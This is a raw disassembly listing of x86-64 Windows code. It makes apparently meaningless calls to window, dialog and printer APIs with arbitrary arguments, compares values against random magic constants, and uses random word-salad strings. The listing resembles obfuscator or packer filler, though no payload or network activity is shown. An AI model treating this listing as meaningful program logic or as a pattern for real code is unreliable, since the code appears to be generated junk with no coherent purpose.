mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6150]
mov rdx, qword [rsp + 0x6110]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jg 0x14012b4b1
movzx eax, byte [rsp + 0x15b]
mov byte [rsp + 0x583c], al
cmp byte [rsp + 0x583c], 0x23
je 0x14012b449
jmp 0x14012b490
lea r9, str.earphones_Customise_Syndicates_protruded_rearer
lea r8, [rsp + 0x60c8]
mov edx, 0x36
mov rcx, qword [rsp + 0x6288]
call qword [sym.imp.USER32.dll_AppendMenuW]
mov dword [rsp + 0x3600], eax
mov rax, qword [rsp + 0x6328]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x6328]
mov rcx, qword [rax]
call fcn.14012d3c0
nop
jmp 0x14012b4b1
mov rax, qword [rsp + 0x62e8]
mov rcx, qword [rsp + 0x6328]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x61e0], rax
mov rax, qword [rsp + 0x6378]
mov ecx, dword [rsp + 0x35b4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6150]
mov dword [rcx], eax
mov rax, qword [rsp + 0x62b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6160]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x42
mov r9d, 0x95
mov r8d, 0x63
mov edx, 0xcf
lea rcx, [rsp + 0x1a4a0]
call qword [sym.imp.USER32.dll_SetRect]
mov dword [rsp + 0x5840], eax
movzx eax, word [rsp + 0xe20]
mov rcx, qword [rsp + 0x60d8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1401482d8]
mov word [rcx], ax
mov eax, dword [rsp + 0x34bc]
mov rcx, qword [rsp + 0x61a0]
mov qword [rsp + 0x1a468], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a468]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3034], eax
jmp 0x14012b64d
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x62e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6328]
mov rdx, qword [rsp + 0x6130]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jae 0x14012b64d
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60f0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x60e0]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x60d8]
movzx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jle 0x14012b600
mov rax, qword [rsp + 0x62d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x60f8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6190]
mov byte [rcx], al
jmp 0x14012b64d
mov rax, qword [rsp + 0x6228]
mov rcx, qword [rsp + 0x60b8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6188]
mov rdx, qword [rsp + 0x6050]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jne 0x14012b64d
mov rax, qword [rsp + 0x6170]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rax]
call fcn.14012d3c0
nop
mov rax, qword [rsp + 0x6050]
mov rcx, qword [rsp + 0x5d58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60b8], rax
mov rax, qword [rsp + 0x61d8]
mov ecx, dword [rsp + 0x35d8]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x3034]
mov edx, dword [rsp + 0x34fc]
shr edx, cl
mov ecx, edx
cmp eax, ecx
jae 0x14012b696
jmp 0x14012b6f7
mov rax, qword [rsp + 0x6100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x160]
xor eax, ecx
mov rcx, qword [rsp + 0x60e8]
movsx ecx, byte [rcx]
mov dword [rsp + 0x5844], ecx
mov rdx, qword [rsp + 0x62d0]
movsx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x5844]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x14012b6f7
mov rax, qword [rsp + 0x6160]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe18]
add eax, ecx
mov word [rsp + 0xe10], ax
mov rax, qword [rsp + 0x60f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd88]
or eax, ecx
mov rcx, qword [rsp + 0x60d8]
mov word [rcx], ax
movsx eax, word [rsp + 0xe10]
movsx ecx, word [0x140147004]
and eax, ecx
mov word [rsp + 0xe18], ax
mov rcx, qword [rsp + 0x6158]
call sub.WINSPOOL.DRV_AbortPrinter
mov dword [rsp + 0x57fc], eax
jmp 0x14012b76a
mov r8d, dword [rsp + 0x349c]
mov rax, qword [rsp + 0x6098]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x60d0]
movzx ecx, word [rax]
call fcn.14012dd80
nop
mov rax, qword [rsp + 0x6190]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
add eax, ecx
mov byte [rsp + 0x15f], al
mov eax, dword [rsp + 0x3034]
mov dword [rsp + 0x5848], eax
cmp dword [rsp + 0x5848], 0xff054248
je 0x14012b7a3
jmp 0x14012b802
movzx eax, word [rsp + 0xe0c]
mov rcx, qword [rsp + 0x60f0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x60d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6128]
mov rcx, qword [rsp + 0x6110]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3500], eax
mov rax, qword [rsp + 0x6220]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x34fc]
shr eax, cl
mov rcx, qword [rsp + 0x61a0]
mov dword [rcx], eax
jmp 0x14012b82c
lea r9, [rsp + 0x6170]
mov r8d, 0x29
lea rdx, [rsp + 0x61d8]
mov rcx, qword [rsp + 0x1a470]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x3584], eax
jmp 0x14012b8ac
mov eax, dword [rsp + 0x348c]
mov ecx, dword [rsp + 0x3034]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6220]
mov edx, dword [rsp + 0x34bc]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
ja 0x14012b85d
call fcn.14012ca40
nop
mov dword [rsp + 0x38], 0x56
mov dword [rsp + 0x30], 0x52
lea rax, [rsp + 0x62e8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x62e8]
mov qword [rsp + 0x20], rax
mov r9d, 0x23
mov r8d, 0xd5
mov edx, 0xc
lea rcx, str.Promised_Subscribe_reproof_nicknamed
call qword [sym.imp.USER32.dll_PrivateExtractIconsW]
mov dword [rsp + 0x3034], eax
mov rax, qword [rsp + 0x62d0]
movzx eax, byte [rax]
mov byte [rsp + 0x584c], al
cmp byte [rsp + 0x584c], 0xd
je 0x14012b8cc
jmp 0x14012b8eb
mov rax, qword [rsp + 0x6168]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6240]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15e], al
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x60b8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6188]
mov qword [rcx], rax
lea rcx, [rsp + 0x1abc0]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [rsp + 0x34e0], eax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x62e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6148], rax
movsx eax, byte [rsp + 0x161]
mov rcx, qword [rsp + 0x62d0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov rax, qword [rsp + 0x5d58]
mov rcx, qword [rsp + 0x6188]
mov qword [rsp + 0x1a478], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a478]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6280], rax
mov rax, qword [rsp + 0x6198]
mov eax, dword [rax]
mov dword [rsp + 0x5850], eax
cmp dword [rsp + 0x5850], 0x78021d8d
je 0x14012b9b4
jmp 0x14012b9c9
lea rcx, [rsp + 0x1aea0]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [rsp + 0x3584], eax
mov rax, qword [rsp + 0x6170]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x61e0]
call fcn.14012d3c0
nop
jmp 0x14012bba2
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6160]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x62b0]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xe10]
add ecx, edx
cmp eax, ecx
jge 0x14012ba3e
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x6188]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6228]
mov qword [rcx], rax
jmp 0x14012ba67
mov rax, qword [rsp + 0x6198]
mov rcx, qword [rsp + 0x6128]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6110]
mov edx, dword [rsp + 0x349c]
mov ecx, dword [rcx]
add ecx, edx
mov eax, dword [rsp + 0x34dc]
mov dword [rsp + 0x5854], eax
cmp dword [rsp + 0x5854], 0x2687dc55
je 0x14012bb81
cmp dword [rsp + 0x5854], 0x73b7a2e3
je 0x14012ba98
jmp 0x14012bba2
mov rax, qword [rsp + 0x6240]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x62d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15a], al
movzx eax, word [rsp + 0xe20]
mov rcx, qword [rsp + 0x60d8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x60e0]
mov word [rcx], ax
mov ecx, 0xba
call qword [sym.imp.USER32.dll_GetQueueStatus]
mov dword [rsp + 0x34bc], eax
movzx eax, byte [rsp + 0x15e]
mov rcx, qword [rsp + 0x6168]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x60e8]
movzx eax, byte [rax]
mov byte [rsp + 0x5858], al
cmp byte [rsp + 0x5858], 0x3b
je 0x14012bb23
jmp 0x14012bb5c
mov rax, qword [rsp + 0x62d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x159]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov rax, qword [rsp + 0x6068]
movzx edx, word [rax]
mov ecx, dword [rsp + 0x3034]
call fcn.14012d9e0
nop
jmp 0x14012bb7f
mov r8w, 0x1c
mov rdx, qword [rsp + 0x6538]
mov rcx, qword [rsp + 0x62a8]
call qword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [rsp + 0xe10], ax
jmp 0x14012bba2
mov rax, qword [rsp + 0x62e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6130]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6148], rax
mov rdx, qword [rsp + 0x6130]
mov rcx, qword [rsp + 0x61e0]
call fcn.14012d3c0
nop
jmp 0x14012bbc7
call qword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [rsp + 0x3034], eax
mov rax, qword [rsp + 0x6108]
mov rax, qword [rax]
mov qword [rsp + 0x1a480], rax
movabs rax, 0x1cc3ed58e22e214a
cmp qword [rsp + 0x1a480], rax
je 0x14012bbf0
jmp 0x14012bbf2
jmp 0x14012bc47
mov rax, qword [rsp + 0x6148]
mov rcx, qword [rsp + 0x6130]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x15f]
movzx ecx, byte [rsp + 0x15c]
and eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x6170]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rax]
call fcn.14012d3c0
nop
mov rax, qword [rsp + 0x6058]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3240], eax
call fcn.14012ca40
nop
jmp 0x14012bd7f
mov rax, qword [rsp + 0x6108]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x60b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6050]
mov rdx, qword [rsp + 0x5d58]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x14012bd7f
call qword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [rsp + 0x348c], eax
mov rax, qword [rsp + 0x6118]
mov eax, dword [rax]
mov dword [rsp + 0x585c], eax
cmp dword [rsp + 0x585c], 0x3bdf23f7
je 0x14012bd66
cmp dword [rsp + 0x585c], 0xdb47def3
je 0x14012bce7
jmp 0x14012bd7f
mov eax, dword [rsp + 0x348c]
mov ecx, dword [rsp + 0x34bc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3034], eax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6148]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6240]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15e]
xor eax, ecx
mov byte [section..data], al
lea r9, [rsp + 0x1a4a0]
mov r8d, 0x7d
mov edx, 0x87
mov rcx, qword [rsp + 0x60b0]
call sub.WINSPOOL.DRV_FindFirstPrinterChangeNotification
mov qword [rsp + 0x6158], rax
jmp 0x14012bd7f
movsx eax, byte [rsp + 0x15d]
movsx ecx, byte [rsp + 0x159]
shl eax, cl
mov byte [rsp + 0x15b], al
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15d]
sub eax, ecx
mov byte [rsp + 0x159], al
mov rax, qword [rsp + 0x6110]
mov eax, dword [rax]
mov dword [rsp + 0x5860], eax
cmp dword [rsp + 0x5860], 0x130ee900
je 0x14012bdbb
jmp 0x14012bdbd
jmp 0x14012bde1
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x6228]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6108]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe20]
sub eax, ecx
mov rcx, qword [rsp + 0x60f0]
mov word [rcx], ax
lea r9, [rsp + 0x60d0]
lea r8, [rsp + 0x1ad60]
lea rdx, [rsp + 0x1ac40]
mov rcx, qword [rsp + 0x6360]
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [rsp + 0x3584], eax
movsx eax, word [0x1401482d0]
mov rcx, qword [rsp + 0x6060]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe1c], ax
mov rax, qword [rsp + 0x6098]
movzx eax, byte [rax]
mov byte [rsp + 0x5864], al
cmp byte [rsp + 0x5864], 0x1c
je 0x14012beb6
cmp byte [rsp + 0x5864], 0x57
je 0x14012be71
jmp 0x14012bed6
mov rax, qword [rsp + 0x60d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe18]
xor eax, ecx
mov word [rsp + 0xe1c], ax
mov r9d, 0x4b
mov r8d, 1
mov edx, 0x5c
lea rcx, [rsp + 0x6468]
call qword [sym.imp.USER32.dll_AdjustWindowRectEx]
mov dword [rsp + 0x57fc], eax
jmp 0x14012bed6
mov rax, qword [rsp + 0x60d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe18]
shl eax, cl
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
mov rax, qword [rsp + 0x6190]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
sar eax, cl
mov byte [rsp + 0x15a], al
mov edx, 0xb
mov rcx, qword [rsp + 0x60c8]
call qword [sym.imp.USER32.dll_GetScrollPos]
mov dword [rsp + 0x3240], eax
mov rcx, qword [rsp + 0x6050]
call fcn.14012e8b0
nop
jmp 0x14012bf2d
mov rax, qword [rsp + 0x6188]
mov rcx, qword [rax]
call fcn.14012e8b0
nop
mov rax, qword [rsp + 0x6188]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6050]
shl rax, cl
mov qword [rsp + 0x5d58], rax
mov rax, qword [rsp + 0x6058]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3240]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6198]
mov dword [rcx], eax
mov rdx, qword [rsp + 0x6468]
mov cx, 0x66
call qword [sym.imp.USER32.dll_VkKeyScanExW]
mov word [rsp + 0xe18], ax
mov rdx, qword [rsp + 0x6148]
mov rcx, qword [rsp + 0x6148]
call fcn.14012d3c0
nop
jmp 0x14012c0f0
mov rax, qword [rsp + 0x6130]
mov rcx, qword [rsp + 0x6148]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6170]
cmp rax, qword [rcx]
jae 0x14012c0f0
mov rax, qword [rsp + 0x6198]
mov rcx, qword [rsp + 0x6150]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6110]
mov rdx, qword [rsp + 0x6058]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jle 0x14012c0f0
mov rax, qword [rsp + 0x6058]
mov ecx, dword [rsp + 0x34dc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3500], eax
mov rax, qword [rsp + 0x6050]
mov qword [rsp + 0x1a488], rax
movabs rax, 0x273e5f9059d262bd
cmp qword [rsp + 0x1a488], rax
je 0x14012c0d2
movabs rax, 0x78f52c612d00bb2b
cmp qword [rsp + 0x1a488], rax
je 0x14012c058
jmp 0x14012c0f0
lea rdx, [rsp + 0x6188]
mov rcx, qword [rsp + 0x61d0]
call qword [sym.imp.USER32.dll_GetWindowInfo]
mov dword [rsp + 0x3584], eax
mov rax, qword [rsp + 0x6148]
mov rcx, qword [rsp + 0x6130]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x61a0]
mov rcx, qword [rsp + 0x6118]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x34bc], eax
lea rdx, str.bicentenary_seasonality_Dissolve_spices
mov rcx, qword [rsp + 0x60c8]
call qword [sym.imp.USER32.dll_GetPropW]
mov qword [rsp + 0x61b0], rax
jmp 0x14012c0f0
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x60b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5d58], rax
mov rax, qword [rsp + 0x60e0]
movzx eax, word [rax]
mov dword [rsp + 0x5868], eax
cmp dword [rsp + 0x5868], 0x825
je 0x14012c111
jmp 0x14012c113
jmp 0x14012c134
mov r8d, dword [rsp + 0x34dc]
movzx edx, byte [rsp + 0x158]
mov rax, qword [rsp + 0x60d0]
movzx ecx, word [rax]
call fcn.14012dd80
nop
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x5d58]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x6188]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x60b8]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x14012c1cc
mov rax, qword [rsp + 0x6168]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x60f8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6190]
mov byte [rcx], al
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe1c]
and eax, ecx
mov word [rsp + 0xe10], ax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x60f0]
mov word [rcx], ax
jmp 0x14012c1e5
mov edx, 0xe9
mov rcx, qword [rsp + 0x61b0]
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [rsp + 0x3584], eax
jmp 0x14012c2f5
mov rax, qword [rsp + 0x6168]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x60f8]
movzx ecx, byte [rcx]
xor eax, ecx
movzx ecx, byte [rsp + 0x15a]
mov rdx, qword [rsp + 0x6190]
movzx edx, byte [rdx]
or ecx, edx
cmp eax, ecx
je 0x14012c2f5
mov rax, qword [rsp + 0x60f0]
movzx eax, word [rax]
mov dword [rsp + 0x586c], eax
cmp dword [rsp + 0x586c], 0x85c
je 0x14012c240
jmp 0x14012c2af
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6148]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6130], rax
mov rax, qword [rsp + 0x6110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34dc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
movzx eax, word [rsp + 0xe0c]
movzx ecx, word [rsp + 0xe20]
sub eax, ecx
mov word [rsp + 0xe14], ax
mov rdx, qword [rsp + 0x6130]
mov rcx, qword [rsp + 0x6148]
call fcn.14012d3c0
nop
jmp 0x14012c2f5
lea r9, [rsp + 0x15c]
lea r8, [rsp + 0xe14]
mov edx, 0x69
mov rcx, qword [rsp + 0x60c8]
call qword [sym.imp.USER32.dll_GetScrollRange]
mov dword [rsp + 0x3664], eax
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x159]
add eax, ecx
mov byte [rsp + 0x15d], al
movzx eax, byte [rsp + 0x15f]
mov byte [rsp + 0x5870], al
cmp byte [rsp + 0x5870], 0x34
je 0x14012c31a
cmp byte [rsp + 0x5870], 0x49
je 0x14012c33e
jmp 0x14012c373
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6100]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x60e8]
mov byte [rcx], al
jmp 0x14012c373
mov rcx, qword [rsp + 0x60b0]
call sub.WINSPOOL.DRV_FindClosePrinterChangeNotification
mov dword [rsp + 0x34ac], eax
mov rax, qword [rsp + 0x6108]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5d58]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x60b8], rax
movzx eax, byte [rsp + 0x158]
mov byte [rsp + 0x5874], al
cmp byte [rsp + 0x5874], 0x23
je 0x14012c3c0
cmp byte [rsp + 0x5874], 0x41
je 0x14012c398
jmp 0x14012c3e3
mov rax, qword [rsp + 0x6118]
mov rcx, qword [rsp + 0x61a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6118]
mov dword [rcx], eax
call fcn.14012ca40
nop
jmp 0x14012c3e3
mov r8w, 0x7f
mov rdx, qword [rsp + 0x1a490]
mov rcx, qword [rsp + 0x62a0]
call qword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [rsp + 0xe10], ax
mov rcx, qword [rsp + 0x6268]
call qword [sym.imp.USER32.dll_WindowFromPoint]
mov qword [rsp + 0x6078], rax
mov rax, qword [rsp + 0x6160]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6060]
movsx ecx, word [rcx]
mov dword [rsp + 0x5878], ecx
movsx edx, word [rsp + 0xe1c]
movzx ecx, dl
mov edx, dword [rsp + 0x5878]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x14012c508
mov rax, qword [rsp + 0x6118]
mov ecx, dword [rsp + 0x34fc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x34bc], eax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
mov dword [rsp + 0x587c], eax
cmp dword [rsp + 0x587c], 0x530d
je 0x14012c47c
jmp 0x14012c4f7
movzx eax, word [rsp + 0xe14]
mov rcx, qword [rsp + 0x60e0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x60d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6160]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe18]
add eax, ecx
mov word [rsp + 0xe10], ax
movzx eax, byte [section..data]
mov rcx, qword [rsp + 0x60f8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6168]
mov byte [rcx], al
mov rdx, qword [rsp + 0x61a8]
mov rcx, qword [rsp + 0x6088]
call qword [sym.imp.USER32.dll_ChildWindowFromPoint]
mov qword [rsp + 0x61f0], rax
jmp 0x14012c508
mov rax, qword [rsp + 0x6068]
movzx ecx, word [rax]
call fcn.14012e470
nop
mov rax, qword [rsp + 0x5d58]
mov rcx, qword [rsp + 0x6108]
mov qword [rsp + 0x1a498], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a498]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6050], rax
mov rax, qword [rsp + 0x6128]
mov rcx, qword [rsp + 0x60c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6150]
mov dword [rcx], eax
jmp 0x14012c5a8
mov rcx, qword [rsp + 0x60c8]
call qword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov dword [rsp + 0x3500], eax
mov rax, qword [rsp + 0x60d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe10]
xor eax, ecx
mov word [rsp + 0xe18], ax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [section..data]
sar eax, cl
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
movzx eax, word [rsp + 0xe0c]
mov rcx, qword [rsp + 0x60d8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
mov rax, qword [rsp + 0x6100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x158]
shl eax, cl
mov byte [rsp + 0x15d], al
call fcn.14012ca40
nop
movsx eax, word [rsp + 0xe18]
mov dword [rsp + 0x5880], eax
cmp dword [rsp + 0x5880], 0x2569
je 0x14012c615
cmp dword [rsp + 0x5880], 0x5270
je 0x14012c61d
jmp 0x14012c673
call fcn.14012ca40
nop
jmp 0x14012c673
mov rax, qword [rsp + 0x60b8]
mov rcx, qword [rsp + 0x6050]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6108]
mov qword [rcx], rax
mov edx, 0xd8
mov rcx, qword [rsp + 0x6158]
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [rsp + 0x345c], eax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
add eax, ecx
mov byte [rsp + 0x15e], al
mov rax, qword [rsp + 0x6118]
mov ecx, dword [rsp + 0x34bc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x348c], eax
jmp 0x14012c6c1
movzx eax, word [rsp + 0xe14]
movzx ecx, word [rsp + 0xe0c]
sub eax, ecx
mov rcx, qword [rsp + 0x60f0]
mov word [rcx], ax
lea rcx, [rsp + 0x1ae00]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [rsp + 0x345c], eax
mov r8d, 1
mov rdx, qword [rsp + 0x6470]
mov rcx, qword [rsp + 0x60c8]
call qword [sym.imp.USER32.dll_InvalidateRgn]
mov dword [rsp + 0x34ac], eax
mov rax, qword [rsp + 0x6118]
mov ecx, dword [rsp + 0x348c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x34bc], eax
mov rax, qword [rsp + 0x6118]
mov eax, dword [rax]
mov dword [rsp + 0x5884], eax
cmp dword [rsp + 0x5884], 0x22d9a1ff
je 0x14012c71e
jmp 0x14012c720
jmp 0x14012c73d
mov rax, qword [rsp + 0x60d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe18]
add eax, ecx
mov word [rsp + 0xe10], ax
mov edx, 0xf8
mov rcx, qword [rsp + 0x61c8]
call qword [sym.imp.USER32.dll_GetWindow]
mov qword [rsp + 0x60c8], rax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
and eax, ecx
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x158]
sub eax, ecx
mov byte [rsp + 0x15d], al
lea rcx, [rsp + 0x1a810]
call qword [sym.imp.COMDLG32.dll_FindTextW]
mov qword [rsp + 0x6088], rax
mov eax, dword [rsp + 0x348c]
mov dword [rsp + 0x34bc], eax
jmp 0x14012c899
cmp dword [rsp + 0x348c], 0x82a9bf3b
jne 0x14012c899
movzx eax, byte [rsp + 0x15a]
mov byte [rsp + 0x5888], al
cmp byte [rsp + 0x5888], 0x5f
je 0x14012c7f9
cmp byte [rsp + 0x5888], 0xc6
je 0x14012c880
jmp 0x14012c899
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [section..data]
and eax, ecx
mov byte [rsp + 0x15a], al
xor edx, edx
mov rcx, qword [rsp + 0x6078]
call qword [sym.imp.USER32.dll_GetSystemMenu]
mov qword [rsp + 0x6288], rax
